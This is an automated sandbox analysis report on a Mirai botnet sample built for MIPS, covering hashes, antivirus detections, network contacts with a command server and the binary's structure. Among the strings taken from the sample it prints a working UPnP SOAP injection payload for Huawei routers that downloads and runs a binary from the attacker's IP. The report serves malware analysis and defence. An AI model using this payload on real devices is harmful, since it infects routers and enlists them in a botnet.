Edit tour

Linux Analysis Report
resgod.mpsl.elf

Overview

General Information

Sample name:resgod.mpsl.elf
Analysis ID:1643833
MD5:7e65afb25f8e5eb293594abe1ba84058
SHA1:3256e3f56098b6f7dc94b9fa2c48930bd5992c52
SHA256:1a920d87ada607bb3414b1c4e8dd1726cd94ce590b570ff8ef059f6eec0f5145
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:72
Range:0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Detected TCP or UDP traffic on non-standard ports
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1643833
Start date and time:2025-03-20 07:41:28 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 54s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:resgod.mpsl.elf
Detection:MAL
Classification:mal72.troj.linELF@0/0@2/0
Command:/tmp/resgod.mpsl.elf
PID:5484
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:

Standard Error:
  • system is lnxubuntu20
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
resgod.mpsl.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
    resgod.mpsl.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      SourceRuleDescriptionAuthorStrings
      5484.1.00007fc388400000.00007fc388413000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
        5484.1.00007fc388400000.00007fc388413000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
          5486.1.00007fc388400000.00007fc388413000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
            5486.1.00007fc388400000.00007fc388413000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
              Process Memory Space: resgod.mpsl.elf PID: 5484JoeSecurity_Mirai_6Yara detected MiraiJoe Security
                Click to see the 1 entries
                No Suricata rule has matched

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Source: resgod.mpsl.elfAvira: detected
                Source: resgod.mpsl.elfReversingLabs: Detection: 61%
                Source: global trafficTCP traffic: 192.168.2.14:59624 -> 104.168.101.27:8944
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
                Source: resgod.mpsl.elfString found in binary or memory: http://104.168.101.27/resgod.mips;
                Source: resgod.mpsl.elfString found in binary or memory: http://104.168.101.27/sh
                Source: resgod.mpsl.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
                Source: resgod.mpsl.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding//%22%3E
                Source: resgod.mpsl.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
                Source: resgod.mpsl.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//
                Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.27 -l /tmp/.kx -r /resgod.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                Source: ELF static info symbol of initial sample.symtab present: no
                Source: classification engineClassification label: mal72.troj.linELF@0/0@2/0
                Source: /tmp/resgod.mpsl.elf (PID: 5484)Queries kernel information via 'uname': Jump to behavior
                Source: resgod.mpsl.elf, 5484.1.000055c1437fc000.000055c143883000.rw-.sdmp, resgod.mpsl.elf, 5486.1.000055c1437fc000.000055c143883000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mipsel
                Source: resgod.mpsl.elf, 5484.1.00007ffd94a03000.00007ffd94a24000.rw-.sdmp, resgod.mpsl.elf, 5486.1.00007ffd94a03000.00007ffd94a24000.rw-.sdmpBinary or memory string: dhx86_64/usr/bin/qemu-mipsel/tmp/resgod.mpsl.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/resgod.mpsl.elf
                Source: resgod.mpsl.elf, 5484.1.000055c1437fc000.000055c143883000.rw-.sdmp, resgod.mpsl.elf, 5486.1.000055c1437fc000.000055c143883000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/mipsel
                Source: resgod.mpsl.elf, 5484.1.00007ffd94a03000.00007ffd94a24000.rw-.sdmp, resgod.mpsl.elf, 5486.1.00007ffd94a03000.00007ffd94a24000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mipsel

                Stealing of Sensitive Information

                barindex
                Source: Yara matchFile source: resgod.mpsl.elf, type: SAMPLE
                Source: Yara matchFile source: 5484.1.00007fc388400000.00007fc388413000.r-x.sdmp, type: MEMORY
                Source: Yara matchFile source: 5486.1.00007fc388400000.00007fc388413000.r-x.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: resgod.mpsl.elf PID: 5484, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: resgod.mpsl.elf PID: 5486, type: MEMORYSTR

                Remote Access Functionality

                barindex
                Source: Yara matchFile source: resgod.mpsl.elf, type: SAMPLE
                Source: Yara matchFile source: 5484.1.00007fc388400000.00007fc388413000.r-x.sdmp, type: MEMORY
                Source: Yara matchFile source: 5486.1.00007fc388400000.00007fc388413000.r-x.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: resgod.mpsl.elf PID: 5484, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: resgod.mpsl.elf PID: 5486, type: MEMORYSTR
                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume AccessOS Credential Dumping11
                Security Software Discovery
                Remote ServicesData from Local System1
                Non-Standard Port
                Exfiltration Over Other Network MediumAbuse Accessibility Features
                CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
                Non-Application Layer Protocol
                Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive1
                Application Layer Protocol
                Automated ExfiltrationData Encrypted for Impact
                No configs have been found
                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Number of created Files
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1643833 Sample: resgod.mpsl.elf Startdate: 20/03/2025 Architecture: LINUX Score: 72 14 104.168.101.27, 8944 AS-COLOCROSSINGUS United States 2->14 16 daisy.ubuntu.com 2->16 18 Antivirus / Scanner detection for submitted sample 2->18 20 Multi AV Scanner detection for submitted file 2->20 22 Yara detected Mirai 2->22 8 resgod.mpsl.elf 2->8         started        signatures3 process4 process5 10 resgod.mpsl.elf 8->10         started        process6 12 resgod.mpsl.elf 10->12         started       

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand
                SourceDetectionScannerLabelLink
                resgod.mpsl.elf61%ReversingLabsLinux.Trojan.Mirai
                resgod.mpsl.elf100%AviraEXP/ELF.Mirai.W
                No Antivirus matches
                No Antivirus matches
                No Antivirus matches

                Download Network PCAP: filteredfull

                NameIPActiveMaliciousAntivirus DetectionReputation
                daisy.ubuntu.com
                162.213.35.24
                truefalse
                  high
                  NameSourceMaliciousAntivirus DetectionReputation
                  http://schemas.xmlsoap.org/soap/encoding//%22%3Eresgod.mpsl.elffalse
                    high
                    http://schemas.xmlsoap.org/soap/encoding/resgod.mpsl.elffalse
                      high
                      http://schemas.xmlsoap.org/soap/envelope//resgod.mpsl.elffalse
                        high
                        http://104.168.101.27/shresgod.mpsl.elffalse
                          high
                          http://104.168.101.27/resgod.mips;resgod.mpsl.elffalse
                            high
                            http://schemas.xmlsoap.org/soap/envelope/resgod.mpsl.elffalse
                              high
                              • No. of IPs < 25%
                              • 25% < No. of IPs < 50%
                              • 50% < No. of IPs < 75%
                              • 75% < No. of IPs
                              IPDomainCountryFlagASNASN NameMalicious
                              104.168.101.27
                              unknownUnited States
                              36352AS-COLOCROSSINGUSfalse
                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                              104.168.101.27resgod.sh4.elfGet hashmaliciousMiraiBrowse
                                resgod.arm5.elfGet hashmaliciousMiraiBrowse
                                  resgod.mpsl.elfGet hashmaliciousMiraiBrowse
                                    resgod.ppc.elfGet hashmaliciousMiraiBrowse
                                      resgod.arm7.elfGet hashmaliciousMiraiBrowse
                                        resgod.x86.elfGet hashmaliciousMiraiBrowse
                                          resgod.mips.elfGet hashmaliciousMiraiBrowse
                                            resgod.arm.elfGet hashmaliciousMiraiBrowse
                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                              daisy.ubuntu.comresgod.ppc.elfGet hashmaliciousMiraiBrowse
                                              • 162.213.35.24
                                              resgod.arc.elfGet hashmaliciousMiraiBrowse
                                              • 162.213.35.24
                                              resgod.arm6.elfGet hashmaliciousMiraiBrowse
                                              • 162.213.35.24
                                              resgod.mpsl.elfGet hashmaliciousMiraiBrowse
                                              • 162.213.35.24
                                              resgod.arm7.elfGet hashmaliciousMiraiBrowse
                                              • 162.213.35.24
                                              resgod.x86.elfGet hashmaliciousMiraiBrowse
                                              • 162.213.35.24
                                              resgod.mips.elfGet hashmaliciousMiraiBrowse
                                              • 162.213.35.25
                                              resgod.arm.elfGet hashmaliciousMiraiBrowse
                                              • 162.213.35.24
                                              i.elfGet hashmaliciousMiraiBrowse
                                              • 162.213.35.25
                                              jkse.arm6.elfGet hashmaliciousUnknownBrowse
                                              • 162.213.35.25
                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                              AS-COLOCROSSINGUSresgod.sh4.elfGet hashmaliciousMiraiBrowse
                                              • 104.168.101.27
                                              resgod.arm5.elfGet hashmaliciousMiraiBrowse
                                              • 104.168.101.27
                                              resgod.mpsl.elfGet hashmaliciousMiraiBrowse
                                              • 104.168.101.27
                                              resgod.ppc.elfGet hashmaliciousMiraiBrowse
                                              • 104.168.101.27
                                              resgod.arm7.elfGet hashmaliciousMiraiBrowse
                                              • 104.168.101.27
                                              resgod.x86.elfGet hashmaliciousMiraiBrowse
                                              • 104.168.101.27
                                              resgod.mips.elfGet hashmaliciousMiraiBrowse
                                              • 104.168.101.27
                                              resgod.arm.elfGet hashmaliciousMiraiBrowse
                                              • 104.168.101.27
                                              nklarm7.elfGet hashmaliciousUnknownBrowse
                                              • 23.236.181.216
                                              muk.ps1.txt.ps1Get hashmaliciousRemcosBrowse
                                              • 198.23.227.212
                                              No context
                                              No context
                                              No created / dropped files found
                                              File type:ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
                                              Entropy (8bit):5.619429126638872
                                              TrID:
                                              • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                              File name:resgod.mpsl.elf
                                              File size:77'552 bytes
                                              MD5:7e65afb25f8e5eb293594abe1ba84058
                                              SHA1:3256e3f56098b6f7dc94b9fa2c48930bd5992c52
                                              SHA256:1a920d87ada607bb3414b1c4e8dd1726cd94ce590b570ff8ef059f6eec0f5145
                                              SHA512:0d027cfc14637b067168981220f106c591f47bcad4ab9665a1c25eb0b0866fdca0e6322ec752019cc2e3e3b9b3cba074e0fbddd61c8368492b36ebd49d7f3aff
                                              SSDEEP:1536:mFo04o9dM3gx7HvMaxy6EWKBSYZegHbmD8QJrUnUAp0MW1i:mFxl9u3u7FEWKoYATUnUAmZ1i
                                              TLSH:CB73E747AB614EFFD82FDE3306A90705259CA50713E83B753674D828F64EA4B4AE3C64
                                              File Content Preview:.ELF....................`.@.4....,......4. ...(...............@...@.`$..`$..............d$..d$E.d$E.....h*..........Q.td...............................<l..'!......'.......................<H..'!... .........9'.. ........................<...'!.............9

                                              ELF header

                                              Class:ELF32
                                              Data:2's complement, little endian
                                              Version:1 (current)
                                              Machine:MIPS R3000
                                              Version Number:0x1
                                              Type:EXEC (Executable file)
                                              OS/ABI:UNIX - System V
                                              ABI Version:0
                                              Entry Point Address:0x400260
                                              Flags:0x1007
                                              ELF Header Size:52
                                              Program Header Offset:52
                                              Program Header Size:32
                                              Number of Program Headers:3
                                              Section Header Offset:76992
                                              Section Header Size:40
                                              Number of Section Headers:14
                                              Header String Table Index:13
                                              NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                              NULL0x00x00x00x00x0000
                                              .initPROGBITS0x4000940x940x8c0x00x6AX004
                                              .textPROGBITS0x4001200x1200x104000x00x6AX0016
                                              .finiPROGBITS0x4105200x105200x5c0x00x6AX004
                                              .rodataPROGBITS0x4105800x105800x1ee00x00x2A0016
                                              .ctorsPROGBITS0x4524640x124640x80x00x3WA004
                                              .dtorsPROGBITS0x45246c0x1246c0x80x00x3WA004
                                              .data.rel.roPROGBITS0x4524780x124780x40x00x3WA004
                                              .dataPROGBITS0x4524800x124800x3900x00x3WA0016
                                              .gotPROGBITS0x4528100x128100x44c0x40x10000003WAp0016
                                              .sbssNOBITS0x452c5c0x12c5c0x200x00x10000003WAp004
                                              .bssNOBITS0x452c800x12c5c0x224c0x00x3WA0016
                                              .mdebug.abi32PROGBITS0x9900x12c5c0x00x00x0001
                                              .shstrtabSTRTAB0x00x12c5c0x640x00x0001
                                              TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                              LOAD0x00x4000000x4000000x124600x124605.65580x5R E0x10000.init .text .fini .rodata
                                              LOAD0x124640x4524640x4524640x7f80x2a683.80250x6RW 0x10000.ctors .dtors .data.rel.ro .data .got .sbss .bss
                                              GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

                                              Download Network PCAP: filteredfull

                                              • Total Packets: 16
                                              • 8944 undefined
                                              • 53 (DNS)
                                              TimestampSource PortDest PortSource IPDest IP
                                              Mar 20, 2025 07:42:09.377298117 CET596248944192.168.2.14104.168.101.27
                                              Mar 20, 2025 07:42:10.395500898 CET596248944192.168.2.14104.168.101.27
                                              Mar 20, 2025 07:42:12.411498070 CET596248944192.168.2.14104.168.101.27
                                              Mar 20, 2025 07:42:16.539330959 CET596248944192.168.2.14104.168.101.27
                                              Mar 20, 2025 07:42:24.731060028 CET596248944192.168.2.14104.168.101.27
                                              Mar 20, 2025 07:42:40.858339071 CET596248944192.168.2.14104.168.101.27
                                              Mar 20, 2025 07:43:13.369402885 CET596248944192.168.2.14104.168.101.27
                                              Mar 20, 2025 07:44:18.906248093 CET596268944192.168.2.14104.168.101.27
                                              Mar 20, 2025 07:44:19.927212954 CET596268944192.168.2.14104.168.101.27
                                              Mar 20, 2025 07:44:21.943183899 CET596268944192.168.2.14104.168.101.27
                                              Mar 20, 2025 07:44:26.071059942 CET596268944192.168.2.14104.168.101.27
                                              Mar 20, 2025 07:44:34.262712002 CET596268944192.168.2.14104.168.101.27
                                              Mar 20, 2025 07:44:50.390289068 CET596268944192.168.2.14104.168.101.27
                                              Mar 20, 2025 07:45:24.437258005 CET596268944192.168.2.14104.168.101.27
                                              TimestampSource PortDest PortSource IPDest IP
                                              Mar 20, 2025 07:44:52.794749975 CET6089153192.168.2.141.1.1.1
                                              Mar 20, 2025 07:44:52.794801950 CET4354053192.168.2.141.1.1.1
                                              Mar 20, 2025 07:44:52.892302036 CET53608911.1.1.1192.168.2.14
                                              Mar 20, 2025 07:44:52.894851923 CET53435401.1.1.1192.168.2.14
                                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                              Mar 20, 2025 07:44:52.794749975 CET192.168.2.141.1.1.10x5e56Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                                              Mar 20, 2025 07:44:52.794801950 CET192.168.2.141.1.1.10x78f4Standard query (0)daisy.ubuntu.com28IN (0x0001)false
                                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                              Mar 20, 2025 07:44:52.892302036 CET1.1.1.1192.168.2.140x5e56No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
                                              Mar 20, 2025 07:44:52.892302036 CET1.1.1.1192.168.2.140x5e56No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

                                              System Behavior

                                              Start time (UTC):06:42:08
                                              Start date (UTC):20/03/2025
                                              Path:/tmp/resgod.mpsl.elf
                                              Arguments:/tmp/resgod.mpsl.elf
                                              File size:5773336 bytes
                                              MD5 hash:0d6f61f82cf2f781c6eb0661071d42d9

                                              Start time (UTC):06:42:08
                                              Start date (UTC):20/03/2025
                                              Path:/tmp/resgod.mpsl.elf
                                              Arguments:-
                                              File size:5773336 bytes
                                              MD5 hash:0d6f61f82cf2f781c6eb0661071d42d9

                                              Start time (UTC):06:42:08
                                              Start date (UTC):20/03/2025
                                              Path:/tmp/resgod.mpsl.elf
                                              Arguments:-
                                              File size:5773336 bytes
                                              MD5 hash:0d6f61f82cf2f781c6eb0661071d42d9